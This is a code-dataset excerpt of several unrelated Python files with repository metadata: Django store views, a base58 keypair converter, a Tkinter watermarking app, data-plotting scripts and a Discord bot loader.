GetUserResource(APIView):\n permission_classes = (IsAuthenticated,CustomerPersmission)\n def get(self,request):\n customer=request.user.customer\n stores=customer.store.prefetch_related(\"product\").prefetch_related(\"product__file\").all()\n Cstores=[]\n for store in stores:\n products=[]\n for product in store.product.all():\n files=[]\n for file in product.file.all():\n files.append(FileSerializer(file).data)\n products.append(\n {\n \"product_name\":product.name,\n \"files\":files\n\n\n }\n )\n Cstores.append({\n \"storename\":store.name,\n \"products\":products\n\n })\n\n products=[]\n for product in customer.product.all():\n files = []\n for file in product.file.all():\n files.append(FileSerializer(file).data)\n products.append(\n {\n \"product_name\": product.name,\n \"files\": files\n }\n )\n\n\n files=[]\n for file in customer._file.all():\n files.append(FileSerializer(file).data)\n\n\n msg ={\n \"stores\":Cstores,\n \"product\":products,\n \"singleFiles\":files\n }\n return response(condition=1, message=msg, status=status.HTTP_200_OK)\n\n\n\n\n\n\n\n", "repo_name": "saeedgeek/Download_Store", "sub_path": "fileStore/production/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 9230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "rest_framework.views.APIView", "line_number": 16, "usage_type": "name"}, {"api_name": "models.Category.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Category.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Category", "line_number": 18, "usage_type": "name"}, {"api_name": "serializer.CategourySerializer", "line_number": 19, "usage_type": "call"}, {"api_name": "utils.Response.response", "line_number": 20, "usage_type": "call"}, {"api_name": "serializer.data", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 20, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 20, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 23, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 24, "usage_type": "name"}, {"api_name": "utils.permissions.AdminPermission", "line_number": 24, "usage_type": "name"}, {"api_name": "serializer.CategourySerializer", "line_number": 25, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 28, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 29, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 30, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 31, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 31, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 34, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 34, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 34, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 37, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 38, "usage_type": "name"}, {"api_name": "utils.permissions.AdminPermission", "line_number": 38, "usage_type": "name"}, {"api_name": "utils.permissions.StoreForThisAdmin", "line_number": 38, "usage_type": "name"}, {"api_name": "serializer.ProductSerializer", "line_number": 39, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 42, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 43, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 44, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 45, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 45, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 48, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 48, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 48, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 48, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 50, "usage_type": "name"}, {"api_name": "serializer.ProductGetListSerializer", "line_number": 51, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 54, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 55, "usage_type": "attribute"}, {"api_name": "models.Product.objects.filter", "line_number": 56, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 56, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 56, "usage_type": "name"}, {"api_name": "serializer.ProductShowListSerializer", "line_number": 57, "usage_type": "call"}, {"api_name": "utils.Response.response", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 59, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 59, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 62, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 62, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 62, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 62, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 65, "usage_type": "name"}, {"api_name": "serializer.FileGetListSerializer", "line_number": 66, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 69, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.File.objects.filter", "line_number": 71, "usage_type": "call"}, {"api_name": "models.File.objects", "line_number": 71, "usage_type": "attribute"}, {"api_name": "models.File", "line_number": 71, "usage_type": "name"}, {"api_name": "serializer.FileShowListSerializer", "line_number": 72, "usage_type": "call"}, {"api_name": "utils.Response.response", "line_number": 74, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 74, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 74, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 77, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 77, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 77, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 80, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 81, "usage_type": "name"}, {"api_name": "utils.permissions.AdminPermission", "line_number": 81, "usage_type": "name"}, {"api_name": "utils.permissions.ProductForThisAdmin", "line_number": 81, "usage_type": "name"}, {"api_name": "serializer.FileSerializer", "line_number": 82, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 85, "usage_type": "call"}, {"api_name": "serializer.save", "line_number": 86, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 87, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 88, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 88, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 88, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 91, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 91, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 91, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 91, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 95, "usage_type": "name"}, {"api_name": "serializer.BuyDownloadFileProducterializer", "line_number": 96, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 97, "usage_type": "name"}, {"api_name": "utils.permissions.CustomerPersmission", "line_number": 97, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 100, "usage_type": "call"}, {"api_name": "serializer.validated_data", "line_number": 104, "usage_type": "attribute"}, {"api_name": "models.Product.objects.get", "line_number": 106, "usage_type": "call"}, {"api_name": "models.Product.objects", "line_number": 106, "usage_type": "attribute"}, {"api_name": "models.Product", "line_number": 106, "usage_type": "name"}, {"api_name": "serializer.validated_data", "line_number": 106, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 109, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 109, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 109, "usage_type": "name"}, {"api_name": "serializer.validated_data", "line_number": 113, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 114, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 114, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 114, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 117, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_402_PAYMENT_REQUIRED", "line_number": 117, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 117, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 126, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 126, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 126, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 130, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 130, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 130, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 130, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 132, "usage_type": "name"}, {"api_name": "serializer.BuyDownloadFileSerializer", "line_number": 133, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 134, "usage_type": "name"}, {"api_name": "utils.permissions.CustomerPersmission", "line_number": 134, "usage_type": "name"}, {"api_name": "serializer.is_valid", "line_number": 139, "usage_type": "call"}, {"api_name": "user.models.Customer.objects.prefetch_related", "line_number": 141, "usage_type": "call"}, {"api_name": "user.models.Customer.objects", "line_number": 141, "usage_type": "attribute"}, {"api_name": "user.models.Customer", "line_number": 141, "usage_type": "name"}, {"api_name": "models.File.objects.get", "line_number": 144, "usage_type": "call"}, {"api_name": "models.File.objects", "line_number": 144, "usage_type": "attribute"}, {"api_name": "models.File", "line_number": 144, "usage_type": "name"}, {"api_name": "serializer.validated_data", "line_number": 144, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 147, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 147, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 147, "usage_type": "name"}, {"api_name": "serializer.validated_data", "line_number": 155, "usage_type": "attribute"}, {"api_name": "utils.Response.response", "line_number": 156, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_202_ACCEPTED", "line_number": 156, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 156, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 159, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_402_PAYMENT_REQUIRED", "line_number": 159, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 159, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 168, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 168, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 168, "usage_type": "name"}, {"api_name": "utils.Response.response", "line_number": 173, "usage_type": "call"}, {"api_name": "serializer.errors", "line_number": 173, "usage_type": "attribute"}, {"api_name": "rest_framework.status.HTTP_400_BAD_REQUEST", "line_number": 173, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 173, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 176, "usage_type": "name"}, {"api_name": "rest_framework.permissions.IsAuthenticated", "line_number": 177, "usage_type": "name"}, {"api_name": "utils.permissions.CustomerPersmission", "line_number": 177, "usage_type": "name"}, {"api_name": "serializer.FileSerializer", "line_number": 187, "usage_type": "call"}, {"api_name": "serializer.FileSerializer", "line_number": 206, "usage_type": "call"}, {"api_name": "serializer.FileSerializer", "line_number": 217, "usage_type": "call"}, {"api_name": "utils.Response.response", "line_number": 225, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_200_OK", "line_number": 225, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 225, "usage_type": "name"}]} {"seq_id": "73908929851", "text": "import argparse\nimport base58\nfrom common import native_json, keypair_array\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"PRIVATE_KEY\",\n help=\"privake key from fantom wallet\",\n )\n return parser.parse_args()\n\n\ndef main():\n args = parse_args()\n \n b58_priv_b58_publ = args.PRIVATE_KEY\n\n priv_publ = base58.b58decode(b58_priv_b58_publ)\n hex_priv = priv_publ[:32].hex()\n hex_publ = priv_publ[32:].hex()\n \n print(native_json(keypair_array(hex_priv, hex_publ)))\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "diman-io/solana-encrypt-keypair", "sub_path": "solana-encrypt-keypair-fantom.py", "file_name": "solana-encrypt-keypair-fantom.py", "file_ext": "py", "file_size_in_byte": 579, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "base58.b58decode", "line_number": 20, "usage_type": "call"}, {"api_name": "common.native_json", "line_number": 24, "usage_type": "call"}, {"api_name": "common.keypair_array", "line_number": 24, "usage_type": "call"}]} {"seq_id": "7719564924", "text": "\nfrom __future__ import (absolute_import, print_function, unicode_literals, division)\n\nfrom collections import namedtuple\n\n\nclass PredictionImpossible(Exception):\n \"\"\"Exception raised when a prediction is impossible.\n When raised, the estimation :math:`\\hat{r}_{ui}` is set to the global mean\n of all ratings :math:`\\mu`.\"\"\"\n pass\n\n\nclass Prediction(namedtuple('Prediction',\n ['uid', 'iid', 'cid', 'r_ui', 'est', 'details'])):\n \"\"\"A named tuple for storing the results of a prediction.\n It's wrapped in a class, but only for documentation and printing purposes.\n\n Args:\n uid:() The raw user id.\n iid:() The raw item id.\n cid:(tuple) The raw context id.\n r_ui(float): The true rating :math:`r_{ui}`.\n est:(float) The estimated rating :math:`\\\\hat{r}_{ui}`.\n details(dict): A dictionary containing all details related to predictions.\"\"\"\n\n def __str__(self):\n s = 'user: {uid:<10} '.format(uid=self.uid)\n s += 'item: {iid:<10} '.format(iid=self.iid)\n if self.r_ui is not None:\n s += 'r_ui = {r_ui:1.2f} '.format(r_ui=self.r_ui)\n else:\n s += 'r_ui = None '\n if self.cid is not None:\n s += 'c_ui = {cid} '.format(cid=self.cid)\n else:\n s += 'cid = None '\n s += 'est = {est:1.2f} '.format(est=self.est)\n s += str(self.details)\n\n return s\n", "repo_name": "gitlamp/Surprisica", "sub_path": "surprisica/prediction_algorithms/predictions.py", "file_name": "predictions.py", "file_ext": "py", "file_size_in_byte": 1434, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.namedtuple", "line_number": 14, "usage_type": "call"}]} {"seq_id": "510340782", "text": "from tkinter import *\nfrom tkinter import filedialog\nfrom PIL import Image, ImageFont, ImageDraw\nimport os\n\n# Define constants\nFONT = \"Courier\"\nFONT_PATH = \"COURIER.ttf\"\nfile_path = None\n\n\n# ------------------------------------FUNCTIONS--------------------------------------------------------\n\n\ndef upload_image():\n \"\"\"Open a file dialog to allow the user to select an image file and display the file name.\"\"\"\n global file_path\n try:\n file_path = filedialog.askopenfilename()\n if file_path:\n file_name = os.path.basename(file_path)\n label_file.config(text=file_name)\n else:\n label_file.config(text=\"No file selected.\")\n except Exception as exception_text:\n label_file.config(text=f\"Error: {exception_text}\")\n\n\ndef add_watermark():\n \"\"\"Add a watermark to the selected image file, save it to a new file, show the saved file, and display its saved path.\"\"\"\n global file_path\n try:\n if not file_path:\n raise ValueError(\"No image file selected.\")\n txt = watermark_text.get()\n with Image.open(file_path) as im:\n # Load the specified font and create a draw object for the image.\n fnt = ImageFont.truetype(FONT_PATH, 250)\n draw = ImageDraw.Draw(im)\n # Calculate the x and y coordinates for the watermark text to be centered and draw it.\n x = (im.width - draw.textlength(txt, font=fnt)) / 2\n y = (im.height - draw.textbbox(xy=(100, 100), text=txt, font=fnt)[1]) / 2\n draw.text((x, y), txt, font=fnt, fill=(255, 255, 255, 64))\n # Save the watermarked image to a new file with a modified file name.\n save_dir = os.path.dirname(file_path)\n save_path = os.path.join(save_dir, f\"watermarked_{os.path.basename(file_path)}\")\n im.save(save_path)\n # Show the saved file and its path.\n label_saved.config(text=f\"Your watermarked image is saved to:\\n{file_path}\")\n im.show()\n except Exception as exception_text:\n label_saved.config(text=f\"Error: {exception_text}\")\n\n\n# ----------------------------------- UI SETUP -------------------------------------------------------\n\nroot = Tk()\nroot.title(\"Image Watermarking App\")\nroot.config(padx=100, pady=100, bg=\"grey\")\n\nbutton_upload = Button(text=\"Upload Image\", font=(FONT, 50, \"bold\"), bg=\"white\", fg=\"grey\", command=upload_image)\nbutton_upload.grid(column=0, row=0, columnspan=2, pady=10)\n\nlabel_file = Label(text=\"Choose an image file.\", font=(FONT, 25), bg=\"grey\", fg=\"black\")\nlabel_file.grid(column=0, row=1, columnspan=2)\n\nlabel_text = Label(text=\"Type your watermark text: \", font=(FONT, 30, \"bold\"), bg=\"grey\", fg=\"white\", pady=40)\nlabel_text.grid(column=0, row=2)\n\nwatermark_text = Entry()\nwatermark_text.insert(0, \"©\")\nwatermark_text.focus()\nwatermark_text.icursor(0)\nwatermark_text.grid(column=1, row=2)\n\nbutton_download = Button(text=\"Download Watermarked Image\", font=(FONT, 40, \"bold\"), bg=\"white\", fg=\"grey\",\n command=add_watermark)\nbutton_download.grid(column=0, row=3, columnspan=2, pady=80)\n\nlabel_saved = Label(text=\"\", font=(FONT, 25), bg=\"grey\", fg=\"black\")\nlabel_saved.grid(column=0, row=4, columnspan=2)\n\nroot.mainloop()\n", "repo_name": "CarrieLu2021/image_watermarking_program", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3273, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tkinter.filedialog.askopenfilename", "line_number": 19, "usage_type": "call"}, {"api_name": "tkinter.filedialog", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 36, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 36, "usage_type": "name"}, {"api_name": "PIL.ImageFont.truetype", "line_number": 38, "usage_type": "call"}, {"api_name": "PIL.ImageFont", "line_number": 38, "usage_type": "name"}, {"api_name": "PIL.ImageDraw.Draw", "line_number": 39, "usage_type": "call"}, {"api_name": "PIL.ImageDraw", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 46, "usage_type": "call"}, {"api_name": "os.path", "line_number": 46, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 46, "usage_type": "call"}]} {"seq_id": "71489668091", "text": "import db.mysql_common as mysql\nimport config.mysql_config as config\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef performance_pic():\n dp_para_dict = config.get_config(\"../file/mysql_online.conf\")\n\n dp = mysql.MysqlCommon(dp_para_dict['host'], dp_para_dict['port'], dp_para_dict['user'], dp_para_dict['pwd'],\n dp_para_dict['databases'])\n while (True):\n category = input(\"category:\")\n sql = \"select loaddate,sum(cert_count) from dp_deal_detail_performance_day_v1 where loaddate>=20160801 and loaddate<=20160814 and category_id_2=\" + category + \" GROUP BY loaddate ORDER BY loaddate asc\"\n results = dp.fetch_data(sql)\n data = {}\n for result in results:\n data[result[0]] = data[result[1]]\n plt.bar(result[0], result[1], color='r', width=0.2)\n plt.xticks(np.arange(len(data)) + 0.1, data.keys()) # Translation\n plt.yticks(data.values())\n plt.grid(True)\n plt.show()\n\n\nif \"__main__\" == __name__:\n performance_pic()\n", "repo_name": "cash2one/LearnPython-1", "sub_path": "orderby/order_by_performance.py", "file_name": "order_by_performance.py", "file_ext": "py", "file_size_in_byte": 1044, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "config.mysql_config.get_config", "line_number": 8, "usage_type": "call"}, {"api_name": "config.mysql_config", "line_number": 8, "usage_type": "name"}, {"api_name": "db.mysql_common.MysqlCommon", "line_number": 10, "usage_type": "call"}, {"api_name": "db.mysql_common", "line_number": 10, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}]} {"seq_id": "37677204664", "text": "# required packages\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\nimport seaborn as sns\n\nfrom utils import import_info, select_events, select_electrodes, import_epochs, recovery_perISI\nfrom utils import generate_stimulus_timecourse, r_squared\nfrom modelling_utils_fitObjective import objective_DN, objective_csDN, objective_csDN_withoutGenerelScaling, model_DN, model_csDN, model_csDN_withoutGeneralScaling\n\nfrom utils import generate_stimulus_timecourse, import_info, import_epochs, select_events, select_events_durationTrials, d_prime_perImgCat\nfrom modelling_utils_paramInit import paramInit\n# from models.Models_csDN import Models_csDN\n# from models.Models_DN import Models_DN\nfrom modelling_utils_fitObjective import model_csDN, model_DN\n\n\"\"\"\n\nAuthor: A. Brands\n\n\"\"\"\n\n############################################################################################## ADAPT CODE HERE\n##############################################################################################################\n##############################################################################################################\n##############################################################################################################\n\n# define root directory\nfile = open('setDir.txt')\ndir = file.readline().strip('\\n')\nprint(dir)\n\n##############################################################################################################\n##############################################################################################################\n##############################################################################################################\n##############################################################################################################\n\n# subject info\n# subject = 'sub-p14'\n# electrode_name = 'LT02'\n\nsubject = 'sub-p12'\nelectrode_name = 'G01'\n\n# models\nmodels = ['DN', 'csDN']\nmodels_color = ['red', 'crimson']\n\n# create stimulus timecourse\nstim = generate_stimulus_timecourse('twopulse_repeat', 5, dir)\n\n# import timepoints of on- and offset of stimulus for one and twopulse trials\nt = np.loadtxt(dir+'variables/t.txt', dtype=float)\ntimepoints_onepulse = np.loadtxt(dir+'variables/timepoints_onepulse.txt', dtype=int)\ntime_window = np.loadtxt(dir+'variables/time_window.txt', dtype=int)\ntempCond = np.loadtxt(dir+'variables/cond_temp.txt', dtype=float)\nlabel_tempCond = np.array(np.array(tempCond, dtype=int), dtype=str)\n\n# get img. classes\nstim_cat = np.loadtxt(dir+'variables/cond_stim.txt', dtype=str)\n\n# plot cross validation\nfig, axs = plt.subplots(2, 5, figsize=(16, 5))\n\n# seperate axes\nsns.despine(offset=10)\n\n# set fontsizes\nfontsize_tick = 15\nfontsize_legend = 15\nfontsize_label = 15\nfontsize_title = 18\n\nlw = 2\n\n# import info\n_, events, channels, _ = import_info(subject, dir)\n\n# import excluded trials\nexcluded_epochs = pd.read_csv(dir+'subject_data/' + subject + '/excluded_epochs.txt', sep=' ', index_col=0, header=0, dtype=int)\n\n# extract broadband data\nelectrode_idx = select_electrodes(channels, electrode_name)\nepochs_b = import_epochs(subject, electrode_idx, dir)\nindex_epochs_b = [j for j in range(len(events)) if excluded_epochs.iloc[electrode_idx, j] == 1]\nepochs_b.iloc[:, index_epochs_b] = np.nan\n\n# select electrode(s) and events\nevent_idx = select_events(events, 'both', 'twopulse_repeat', dir)\n\nfor i in range(len(models)):\n\n # retrieve parameters\n params_names, _, _, _ = paramInit(models[i])\n sample_rate = 512\n\n # retrieve model parameters for current electrode\n temp = pd.read_csv(dir+'modelFit/visuallyResponsive/' + subject + '_' + electrode_name + '/param_' + models[i] + '.txt', header=0, delimiter=' ', index_col=0)\n temp.reset_index(inplace=True,drop=True)\n params_current = list(temp.loc[0, params_names])\n\n for j in range(len(stim_cat)-1):\n\n print('Model: ', models[i], ', cat.: ', stim_cat[j])\n\n # plot stimulus\n axs[i, j].plot(t, stim, color='powderblue', label='Stimulus', lw=lw)\n\n # plot timecourse\n data = np.nanmean(epochs_b[event_idx[j][5]], 1)\n axs[i, j].plot(t, data, color='black', label='Neural data', lw=lw)\n\n # plot model timecourse\n if models[i] == 'DN':\n pred = model_DN(stim, sample_rate, params_current)\n elif models[i] == 'csDN':\n _, pred = model_csDN(stim, 'twopulse_repeat', 5, stim_cat[j], sample_rate, params_current, dir)\n axs[i, j].plot(t, pred, color=models_color[i], label=models[i] + ' model', lw=lw)\n\n # compute coefficient of variation\n r_2 = r_squared(data, pred)\n\n # adjust axis\n axs[i, j].set_ylim(-0.5, 12)\n axs[i, j].tick_params(axis='both', which='major', labelsize=fontsize_tick)\n # if j == 0:\n # axs[i, j].set_ylabel('Change in broadband power', fontsize=fontsize_label)\n # axs[i, j].legend(fontsize=fontsize_legend)\n # if i == (len(models))-1:\n # axs[i, j].set_xlabel('Time (s)', fontsize=fontsize_label)\n # if i == 0:\n # axs[i, j].set_title(stim_cat[j] + '\\n' + r' $R^{2}$: ' + str(np.round(r_2, 2)), fontsize=fontsize_title)\n # else:\n axs[i, j].set_title(r' $R^{2}$: ' + str(np.round(r_2, 2)), fontsize=fontsize_title)\n\n\n# save figure\nplt.tight_layout()\nplt.savefig(dir+'/mkFigure/SuppFig4.svg', format='svg')\nplt.savefig(dir+'/mkFigure/SuppFig4') \nplt.show()\n\n", "repo_name": "ABra1993/tAdaptation_ECoG", "sub_path": "mkSuppFigure2.py", "file_name": "mkSuppFigure2.py", "file_ext": "py", "file_size_in_byte": 5590, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "utils.generate_stimulus_timecourse", "line_number": 51, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.loadtxt", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "seaborn.despine", "line_number": 67, "usage_type": "call"}, {"api_name": "utils.import_info", "line_number": 78, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 81, "usage_type": "call"}, {"api_name": "utils.select_electrodes", "line_number": 84, "usage_type": "call"}, {"api_name": "utils.import_epochs", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 87, "usage_type": "attribute"}, {"api_name": "utils.select_events", "line_number": 90, "usage_type": "call"}, {"api_name": "modelling_utils_paramInit.paramInit", "line_number": 95, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 99, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 111, "usage_type": "call"}, {"api_name": "modelling_utils_fitObjective.model_DN", "line_number": 116, "usage_type": "call"}, {"api_name": "modelling_utils_fitObjective.model_csDN", "line_number": 118, "usage_type": "call"}, {"api_name": "utils.r_squared", "line_number": 122, "usage_type": "call"}, {"api_name": "numpy.round", "line_number": 135, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 139, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 139, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 141, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 141, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 142, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 142, "usage_type": "name"}]} {"seq_id": "30252799279", "text": "import discord\nimport os\n\nfrom discord.ext import commands\nfrom discord.ext.commands import MissingPermissions\nfrom utils.constants import BOT_TOKEN, BOT_PREFIX\n\n\nclient = commands.Bot(\n command_prefix=BOT_PREFIX,\n intents=discord.Intents.all(),\n allowed_mentions=discord.AllowedMentions(\n everyone=False, users=True, roles=False, replied_user=True\n ),\n case_insensitive=True\n)\nclient.remove_command(\"help\")\n\nfor filename in os.listdir(\"./cogs\"):\n if filename.endswith(\".py\"):\n client.load_extension(f\"cogs.{filename[:-3]}\")\n\n# CMD Screen when Bot starts\n@client.event\nasync def on_ready():\n print(\"Logged in as: \" + client.user.name + \"\\n\")\n print(\"Servers connected to:\")\n for guild in client.guilds:\n print(guild.name)\n\n\n# Error ignore for MissingPermissions\n@client.event\nasync 